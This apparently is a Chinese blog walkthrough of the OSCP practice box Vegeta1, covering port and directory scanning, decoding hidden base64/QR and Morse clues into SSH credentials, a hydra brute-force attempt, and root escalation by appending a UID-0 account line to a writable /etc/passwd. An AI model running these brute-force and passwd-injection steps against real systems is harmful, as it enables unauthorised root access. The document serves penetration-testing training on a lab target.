• OSCP系列靶场-Esay-Vegeta1保姆级


    OSCP系列靶场-Esay-Vegeta1保姆级

    总结

    getwebshell : 目录扫描 → 发现音频 → 莫斯密码 → 解密得到账号密码 → ssh登录

    提 权 思 路 : history发现线索 → /etc/passwd属主权限 → 写入root权限的账号密码 → 登录提权

    准备工作

    • 启动VPN
      获取攻击机IP → 192.168.45.239

    • 启动靶机
      获取目标机器IP → 192.168.172.73

    信息收集-端口扫描

    目标开放端口收集

    • Nmap开放端口扫描2次(多次扫描减少误扫)
    sudo nmap --min-rate 10000 -p- 192.168.172.73
    
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6


    开放的端口->22,80

    目标端口对应服务探测

    # tcp探测
    sudo nmap -sT -sV -O -sC -p22,80 192.168.172.73
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
    80/tcp open  http    Apache httpd 2.4.38 ((Debian))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    信息收集-端口测试

    22-SSH端口的信息收集

    22-SSH端口版本信息与MSF利用

    通过Nmap探测获得SSH的版本信息,可以尝试利用
    探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

    # 搜索对应脚本
    msf6 > searchsploit openssh 7.9
    
    • 1
    • 2

    22-SSH协议支持的登录方式

    通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

    sudo ssh root<span class="label label-primary">@192.168.172.73</span> -v
    
    • 1

    显示publickeypassword就是支持密钥以及密码登录

    22-SSH手动登录尝试(无)

    因为支持密码登录,尝试root账户的密码弱密码尝试

    sudo ssh root<span class="label label-primary">@192.168.172.73</span> -p 22
    # 密码尝试
    password &gt; root
    
    • 1
    • 2
    • 3

    弱密码尝试失败

    22-SSH弱口令爆破(待定)

    如果没思路的话,准备sshroot账户爆破

    80-HTTP端口的信息收集

    访问 http://192.168.172.73:80 不是CMS我们直接从HTML隐藏信息收集开始

    信息收集-HTML隐藏信息查看
    # 包括文章中是否写明一些敏感信息
    curl http://192.168.172.73:80
    
    • 1
    • 2

    个人色彩浓厚,可能用户与King Vegeta有关

    信息收集-目录扫描
    信息收集-目录扫描初步
    # 用两个扫描器进行扫描,更加的谨慎一些
    dirsearch -u http://192.168.172.73:80 -x 302,403,404
    dirb http://192.168.172.73:80
    
    • 1
    • 2
    • 3


    因为扫出了目录,深层次的扫描待选

    信息收集-目录扫描(后缀)
    信息收集-目录扫描(深度/大字典)
    信息收集-目录扫描(深度/大字典后缀)
    
    • 1
    • 2
    • 3
    信息收集-目录访问
    /robots.txt端点访问

    发现新的入口 /find_me

    ┌──(root㉿Kali)-[/home/bachang/Vegeta1]
    └─# curl http://192.168.172.73/robots.txt
    *
    /find_me
    
    • 1
    • 2
    • 3
    • 4
    /find_me/端点访问

    发现是目录遍历

    ┌──(root㉿Kali)-[/home/bachang/Vegeta1]
    └─# curl http://192.168.172.73/find_me/   
    
    ...
    <h1>Index of /find_me</h1>
    ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    存在 find_me.html


    访问 find_me.html发现提示Vegeta-1.0


    尝试搜索msf没有任何收获
    也对 Vegeta 是动漫角色,猜测是否是其他提示

    ┌──(root㉿Kali)-[/home/bachang/Vegeta1]
    └─# searchsploit Vegeta                                 
    Exploits: No Results
    Shellcodes: No Results
    
    • 1
    • 2
    • 3
    • 4

    查看HTML发现隐藏内容,是加密代码

    curl http://192.168.172.73/find_me/find_me.html
    
    • 1

    /admin/端点

    在该端点下发现一个php文件


    访问无任何内容

    其他端点

    其他端点内容是空

    find_me.html加密信息破解

    因为看到了两个等号,猜测是bas64编码

    echo 'aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU1nQUFBRElD.....GQUFBQUFFbEZUa1N1UW1DQw==' | base64 -d &gt; main.txt
    
    • 1

    访问之后发现还是看不懂,在没有其他线索的情况下,推测存在二次加密


    看起来两串代码差不多,尝试再次base64解密
    这次解密之后发现开头是png内容看不懂,说明是图片格式


    转换成图片进行查看

    mv main1.txt main.jpg
    
    • 1

    打开发现是二维码

    二维码本质上是url,利用二维码转url的工具
    百度上搜了一个 https://www.jzx.com/decode
    得到了密码topshellv

    Password : topshellv
    
    • 1

    信息再收集

    尝试爆破获取的密码失败,决定利用更大的字典进行目录扫描

    gobuster dir -u  http://192.168.172.73:80/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e &gt; go.txt
    
    • 1

    爆破输出到go.txt发现一个新的端点

    新端点/bulma/

    访问发现得到了一个.wav格式内容


    通常是音频文件


    下载下来

    ┌──(root㉿Kali)-[/home/bachang/Vegeta1]
    └─# wget 192.168.172.73/bulma/hahahaha.wav 
    --2023-07-31 13:45:21--  http://192.168.172.73/bulma/hahahaha.wav
    正在连接 192.168.172.73:80... 已连接。
    已发出 HTTP 请求,正在等待回应... 200 OK
    长度:236124 (231K) [audio/x-wav]
    正在保存至: “hahahaha.wav”
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7


    浅浅的听了一下,本来以为是英文听不懂,结果就像暗号

    对<(^-^)>谍战片的摩斯密码
    访问https://morsecode.world/international/decoder/audio-decoder-adaptive.html将音频上传

    // 得到了信息
    U S E R : T R U N K S P A S S W O R D : U S 3 R  S I N D O L L A R S S Y M B O L )
    
    • 1
    • 2

    漏洞利用-getwebshell

    已知密码-SSH用户爆破(失败)

    推测获取的密码可以登录ssh尝试爆破

    # -L 指定账号字典 -P指定密码字典
    hydra -L /usr/share/wordlists/metasploit/unix_passwords.txt -p topshellv -t 6 -vV 192.168.172.73 ssh -s 22
    
    • 1
    • 2

    破译莫斯密码

    22-SSH账号密码登录

    将密码大致解密

    U S E R : T R U N K S P A S S W O R D : U S 3 R  S I N D O L L A R S S Y M B O L )
    ------
    user: trunkspassword:us3rsindollarssymbol
    ------猜测
    user: trunks
    password:us3r
    sindollarssymbol
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    sindollarssymbol百度半天说的是sin dollars symbol


    先不管获取账号密码之后利用SSH进行登录,发现错误

    sudo ssh trunks<span class="label label-primary">@192.168.172.73</span> -p22
    password &gt; us3r
    
    • 1
    • 2

    尝试替换成新加坡币符号将s替换为$

    sudo ssh trunks<span class="label label-primary">@192.168.151.73</span> -p22
    password &gt; u$3r
    
    • 1
    • 2

    成功登录 这里重启了一下靶场 ip变成了192.168.151.73

    内网遨游-getshell

    FLAG1获取

    trunks<span class="label label-primary">@Vegeta</span>:~$ find / -name local.txt 2&gt;/dev/null
    /home/trunks/local.txt
    trunks<span class="label label-primary">@Vegeta</span>:~$ cat /home/trunks/local.txt
    45274fd8969e954aa6a0416012e34589
    
    • 1
    • 2
    • 3
    • 4

    信息收集-内网基础信息收集

    提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

    检测Linux操作系统的发行版本

    较老的Ubuntu以及Linux系统可以overlayfs提权

    # 确定发行版本
    trunks<span class="label label-primary">@Vegeta</span>:~$ lsb_release -a
    No LSB modules are available.
    Distributor ID: Debian
    Description:    Debian GNU/Linux 10 (buster)
    Release:        10
    Codename:       buster
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    发行版本为Debian,不太能overlayfs提权

    检测Linux操作系统的内核版本

    较低的内核版本可以进行脏牛提权

    trunks<span class="label label-primary">@Vegeta</span>:~$ uname -a
    Linux Vegeta 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
    
    • 1
    • 2

    内核版本为4.19.0

    检测当前用户的权限
    trunks<span class="label label-primary">@Vegeta</span>:~$ id
    uid=1000(trunks) gid=1000(trunks) groups=1000(trunks),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
    
    • 1
    • 2
    列举出所有的sudo文件

    查找具有sudo权限,且不需要密码的可提权文件
    如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

    # 利用sudo -l寻找
    trunks<span class="label label-primary">@Vegeta</span>:~$ sudo -l
    -bash: sudo: command not found
    
    • 1
    • 2
    • 3

    发现不存在sudo

    su弱密码尝试(失败)
    su
    password → root
    
    • 1
    • 2

    列举出所有suid文件

    如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

    # -perm 文件权限
    trunks<span class="label label-primary">@Vegeta</span>:~$ find / -perm -u=s -type f 2&gt;/dev/null
    /usr/bin/su
    /usr/bin/gpasswd
    /usr/bin/umount
    /usr/bin/newgrp
    /usr/bin/chsh
    /usr/bin/passwd
    /usr/bin/chfn
    /usr/bin/mount
    /usr/bin/fusermount
    /usr/lib/eject/dmcrypt-get-device
    /usr/lib/openssh/ssh-keysign
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    /etc/passwd权限收集

    如果/etc/passwd具有写入权限可以尝试覆盖密码提权

    trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/passwd
    -rw-r--r-- 1 trunks root 1486 Jun 28  2020 /etc/passwd
    
    • 1
    • 2
    /etc/shadow权限收集
    • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
    • 如果/etc/shadow具有可读权限可以爆破密码
    trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/shadow
    -rw-r----- 1 root shadow 976 Aug  4  2020 /etc/shadow
    
    • 1
    • 2
    getcap标志进程收集

    高版本下suid列举不全,查看getcap

    # 探查有CAP_SETUID标志的进程
    trunks<span class="label label-primary">@Vegeta</span>:~$ /usr/sbin/getcap -r / 2&gt;/dev/null
    /usr/bin/ping = cap_net_raw+ep
    
    • 1
    • 2
    • 3

    列举定时任务

    查找所有的定时任务,并且查看定时任务是否具有修改权限

    # 寻找定时任务并修改进行提权
    cat /etc/crontab
    
    • 1
    • 2

    查看历史信息

    可能用户留下的历史信息具有有用的信息

    trunks<span class="label label-primary">@Vegeta</span>:~$ history
        1  perl -le ‘print crypt(“Password<span class="label label-primary">@973″,”addedsalt”)#CTL{n}    2  perl -le 'print crypt("Password@973","addedsalt")'
        3  echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &gt;&gt; /etc/passwd[/sh]
        4  echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &gt;&gt; /etc/passwd
        5  ls
        6  su Tom
        7  ls -la
        8  cat .bash_history 
        9  sudo apt-get install vim
       10  apt-get install vim
       11  su root
       12  cat .bash_history 
       13  exit
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    确认/home目录下信息
    trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /home
    total 12
    drwxr-xr-x  3 trunks trunks 4096 Aug 12  2020 trunks
    
    • 1
    • 2
    • 3

    权限提升

    可写etc/passwd提权

    通过history的信息我们可以知道tom的密码应该是Password@973被写入到了/etc/passwd中,我们尝试切换用户

    su Tom
    → Password<span class="label label-primary">@973#CTL{n}su: user Tom does not exist
    
    • 1
    • 2

    提示说Tom用户不存在

    # 发现确实没有Tom
    cat /etc/passwd | grep Tom
    
    • 1
    • 2

    那么根据提示我是否可以写入/etc/passwd

    echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &gt;&gt; /etc/passwd
    
    • 1

    提权成功

    # 登录Tom账户
    trunks<span class="label label-primary">@Vegeta</span>:~$ su Tom
    Password: 
    root<span class="label label-primary">@Vegeta</span>:/home/trunks# id
    uid=0(root) gid=0(root) groups=0(root)
    root<span class="label label-primary">@Vegeta</span>:/home/trunks# 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    FLAG2获取

    root<span class="label label-primary">@Vegeta</span>:/home/trunks# cat /root/proof.txt
    3295b595dffaab97e16918dfbf4d11de
    
    • 1
    • 2


    完结撒花~

    后记

    这个没仔细看的内容回来思考一下

    trunks<span class="label label-primary">@Vegeta</span>:~$ ls -al /etc/passwd
    -rw-r--r-- 1 trunks root 1486 Jun 28  2020 /etc/passwd
    
    • 1
    • 2

    显示了文件的权限为 -rw-r--r--,所有者为 trunks,所属组为 root
    简称属于root组(属主) 之后看到这种情况要注意

    学到了s$之间的替换与莫斯密码的破译

  • 相关阅读:
    第七十一天 来道水题得了
    润和软件携OpenHarmony亮相全国首场华为云云商店·星品推介会
    Debug Python project managed by poetry under VSCode in attach mode
    Factors to Consider in Long-Term Planning and Decision-Making in Gaming
    (附源码)计算机毕业设计SSM基于框架的旅游管理系统
    假如面试官问你Babel的原理该怎么回答
    ESP32-MicroPython 开发环境
    实用调试技巧,debug
    学完Python,不做程序员,只接兼职,哎,就是玩儿
    鸿蒙文件操作事前准备
  • 原文地址:https://blog.csdn.net/qq_61812944/article/details/132866625